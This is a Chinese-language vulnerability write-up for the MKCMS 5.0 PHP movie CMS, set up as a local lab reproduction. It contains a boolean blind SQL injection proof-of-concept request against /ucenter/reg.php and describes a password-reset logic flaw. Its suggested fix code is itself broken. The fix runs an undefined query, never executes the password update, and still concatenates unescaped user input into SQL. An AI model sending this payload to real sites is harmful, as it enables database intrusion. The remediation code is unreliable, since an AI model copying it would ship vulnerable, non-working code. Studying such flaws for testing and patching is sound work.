MKcms漏洞合集

MKCMS5.0漏洞合集

简介及安装

MKCMS5.0是一款基于PHP+MYSQL开发制作的专业全自动采集电影网站源码。程序不需授权上传直接使用,自动更新电影,无人值守! 完整的会员影视中心 后台可对接卡盟 可以设置收费观看模式。
下载地址：链接：https://pan.baidu.com/s/12HsPtKN8ECIAv3QNy6rSwg
提取码：zkaq

源码放在phpstudy根目录下。
访问：http://127.0.0.1/MKCMS5.0/install/

漏洞复现

前台sql注入

漏洞出现在/ucenter/reg.php第7-19行:

1. if(isset($_POST['submit'])){

2. $username = stripslashes(trim($_POST['name']));

3. // 检测用户名是否存在

4. $query = mysql_query("select u_id from mkcms_user where u_name='$username'");

5. if(mysql_fetch_array($query)){

6. echo '';

7. exit;

8. }

9. $result = mysql_query('select * from mkcms_user where u_email = "'.$_POST['email'].'"');

10. if(mysql_fetch_array($result)){

11. echo '';

12. exit;

13. }

注册用户名时$username参数传到后台后经过stripslashes()函数处理，而stripslashes()函数的作用是删除addslashes() 函数添加的反斜杠。

当前页面无输出点，只是返回一个注册/未注册（通过if判断true或者false)，可以使用布尔盲注来解决这个问题。
POC

1. POST /ucenter/reg.php HTTP/1.1

2. Host: 127.0.0.1

3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

5. Accept-Language: en

6. Accept-Encoding: gzip, deflate

7. Referer: http://127.0.0.1/ucenter/reg.php

8. Content-Type: application/x-www-form-urlencoded

9. Content-Length: 52

10. Connection: close

11. Cookie: PHPSESSID=cb8e6ccde6cf9050972fa9461d606be3

12. Upgrade-Insecure-Requests: 1

14. name=test' AND 1=1 AND 'inject'='inject&email=sss%40qq.com&password=ssssss&submit=

任意用户密码重置

漏洞出现在/ucenter/repass.php第1-44行:

本质上来说此处是一个逻辑问题，程序未通过邮箱等验证是否为用户本身就直接先在第13-14行把用户密码重置为123456了，根本没管邮件发送成功没有。

此处过滤了单引号，所以无法通过然后邮箱账号进行重置

漏洞修复

1.注册处的注入可像密码找回处一样，过滤一下就OK。
2.找回密码处可修改为如下代码：

2. include('../system/inc.php');

3. if(isset($_SESSION['user_name'])){

4. header('location:index.php');

5. };

7. function randomkeys($length) {

8. $pattern = '1234567890abcdefghijklmnopqrstuvwxyz

9. ABCDEFGHIJKLOMNOPQRSTUVWXYZ';

10. for($i=0;$i<$length;$i++)

11. {

12. $key .= $pattern{mt_rand(0,35)};

13. }

14. return $key;

15. };

17. $repass = randomkeys(10);

19. if(isset($_POST['submit'])){

20. $username = stripslashes(trim($_POST['name']));

21. $email = trim($_POST['email']);

22. // 检测用户名是否存在

23. $query = mysql_query("select u_id from mkcms_user where u_name='$username' and u_email='$email'");

25. if(!! $row = mysql_fetch_array($query)){

26. if (mysql_query($sql)) {

27. $token =$row['u_question'];

28. include("emailconfig.php");

29. //创建$smtp对象 这里面的一个true是表示使用身份验证,否则不使用身份验证.

30. $smtp = new Smtp($MailServer, $MailPort, $smtpuser, $smtppass, true);

31. $smtp->debug = false;

32. $mailType = "HTML"; //信件类型，文本:text；网页：HTML

33. $email = $email; //收件人邮箱

34. $emailTitle = "".$mkcms_name."用户找回密码"; //邮件主题

35. $emailBody = "亲爱的".$username."：
感谢您在我站注册帐号。
您的初始密码为".$repass."
如果此次找回密码请求非你本人所发，请忽略本邮件。


    -------- ".$mkcms_name." 敬上

    ";

37. // sendmail方法

38. // 参数1是收件人邮箱

39. // 参数2是发件人邮箱

40. // 参数3是主题（标题）

41. // 参数4是邮件主题（标题）

42. // 参数4是邮件内容 参数是内容类型文本:text 网页:HTML

43. $rs = $smtp->sendmail($email, $smtpMail, $emailTitle, $emailBody, $mailType);

44. if($rs==true){

45. $_data['u_password'] = md5($repass);

46. $sql = 'update mkcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';

47. echo '';

48. }else{

49. echo "找回密码失败";

50. }

51. }

52. }

53. }

54. ?>